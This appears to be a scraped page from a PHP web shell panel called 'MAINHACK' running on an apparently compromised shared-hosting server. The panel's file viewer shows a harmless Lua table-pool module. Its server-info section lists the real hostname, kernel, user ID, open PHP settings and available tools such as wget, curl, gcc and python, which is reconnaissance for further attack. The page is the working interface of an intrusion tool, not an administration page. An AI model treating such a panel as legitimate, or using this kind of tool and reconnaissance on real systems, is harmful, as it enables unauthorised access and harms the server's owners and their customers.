[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: tablepool.lua
File is not writable. Editing disabled.
local newtab = require "table.new" local cleartab = require "table.clear" local setmetatable = setmetatable local _M = newtab(0, 2) local max_pool_size = 200 local pools = newtab(0, 4) function _M.fetch(tag, narr, nrec) local pool = pools[tag] if not pool then pool = newtab(4, 1) pools[tag] = pool pool.c = 0 pool[0] = 0 else local len = pool[0] if len > 0 then local obj = pool[len] pool[len] = nil pool[0] = len - 1 -- ngx.log(ngx.ERR, "HIT") return obj end end return newtab(narr, nrec) end function _M.release(tag, obj, noclear) if not obj then error("object empty", 2) end local pool = pools[tag] if not pool then pool = newtab(4, 1) pools[tag] = pool pool.c = 0 pool[0] = 0 end if not noclear then setmetatable(obj, nil) cleartab(obj) end do local cnt = pool.c + 1 if cnt >= 20000 then pool = newtab(4, 1) pools[tag] = pool pool.c = 0 pool[0] = 0 return end pool.c = cnt end local len = pool[0] + 1 if len > max_pool_size then -- discard it simply return end pool[len] = obj pool[0] = len end return _M -- vi: ft=lua ts=4 sw=4 et
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.33 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A